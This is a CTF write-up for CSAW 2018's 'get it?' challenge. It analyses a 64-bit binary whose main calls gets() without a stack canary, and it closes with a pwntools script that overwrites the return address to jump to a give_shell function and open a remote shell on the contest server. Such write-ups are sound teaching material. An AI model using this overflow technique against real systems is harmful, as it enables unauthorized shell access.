CSAW CTF 2018

Problem: get it? (50, Pwn)

Do you get it?

nc pwn.chal.csaw.io 9001

Solution:

After downloading the file provided, I first examine it using the **file** command:

```
file get_it
get_it: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2
, for GNU/Linux 2.6.32, BuildID[sha1]=87529a0af36e617a1cc6b9f53001fdb88a9262a2, not stripped
```

It is 64-bit LSB ELF executable and not stripped. I then run the **strings** command on the file:

```
gets
puts
system
__libc_start_main
__gmon_start__
GLIBC_2.2.5
UH-H
AWAVA
AUATL
[]A\A]A^A_
/bin/bash
Do you gets it??
:*3$"
```

```
__data_start
give_shell
__gmon_start__
```

The file contains the strings **system**, **/bin/bash**, and **give_shell** which could mean that ROP technique may be required for the exploit. I then use the **checksec** command on the file and find that the file does not have a stack canary and has NX enabled:

```
checksec get_it
[*] '/mnt/hgfs/ubuntu-shared/ctf/csaw18/get_itt/get_it'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
```

Then, I run the file to obtain formatting information:

```
./get_it
Do you gets it??
yesssssssssssssssssss
```

Then, I move on to use **radare2** and seek to **main** function:

```
| push rbp
| mov rbp, rsp
| ; '0'
| sub rsp, 0x30
| ; argc
| mov dword [local_24h], edi
| ; argv
| mov qword [local_30h], rsi
| ; 0x40068e
| ; "Do you gets it??"
| mov edi, str.Do_you_gets_it
| ; int puts(const char *s)
| call sym.imp.puts;[ga]
| lea rax, [local_20h]
| mov rdi, rax
| mov eax, 0
| ; char *gets(char *s)
| call sym.imp.gets;[gb]
| mov eax, 0
| leave
```

It seems that the program simply prints to the screen and then takes user input via **gets**. There is an obvious buffer overflow vulnerability

here and looking back at the output of the **strings** command, I look to see if there are any interesting functions that can be jumped to or whether a ROP chain can be set up:

```
0x00400438    3 26           sym._init
0x00400470    1 6            sym.imp.puts
0x00400480    1 6            sym.imp.system
0x00400490    1 6            sym.imp.__libc_start_main
0x004004a0    1 6            sym.imp.gets
0x004004b0    1 6            sub.__gmon_start_4b0
0x004004c0    1 41           entry0
0x004004f0    4 50   -> 41    sym.deregister_tm_clones
0x00400530    4 58   -> 55    sym.register_tm_clones
0x00400570    3 28           sym.__do_global_dtors_aux
0x00400590    4 38   -> 35    entry1.init
0x004005b6    1 17           sym.give_shell
```

There is a function call **give_shell** at **0x4005b6** and examining that gives the following:

```
[0x4005b6]
(fcn) sym.give_shell 17
  sym.give_shell ();
push rbp
mov rbp, rsp
; 0x400684
; "/bin/bash"
mov edi, str.bin_bash
; int system(const char *string)
call sym.imp.system;[ga]
nop
pop rbp
ret
```

Therefore, the exploit is to simply overwrite the return address in main via **gets**, to the address of **give_shell**. The following python3 script gives the flag.

```python
from pwn import *
from binascii import *


def get_flag():
    context.arch = "amd64"
    local = False
    if local:
        c = process("./get_it")
        context.terminal = 'sh'
        gdb.attach(c, 'break gets')
    else:
        c = remote("pwn.chal.csaw.io", 9001)
    # recv prompt
    o = c.recvline()
    print("Received: ", o)
    # calculate offset between buffer and canary
    dist_to_rbp = 0x20
    give_shell_add = 0x4005b6
    pay_load = b"A" * (dist_to_rbp) + pack(0xDEADBEEF) + pack(give_shell_add)
    print(pay_load)
    c.sendline(pay_load)
    c.interactive()


if __name__ == "__main__":
    get_flag()
```

Flag:
flag{y0u_deF_get_itls}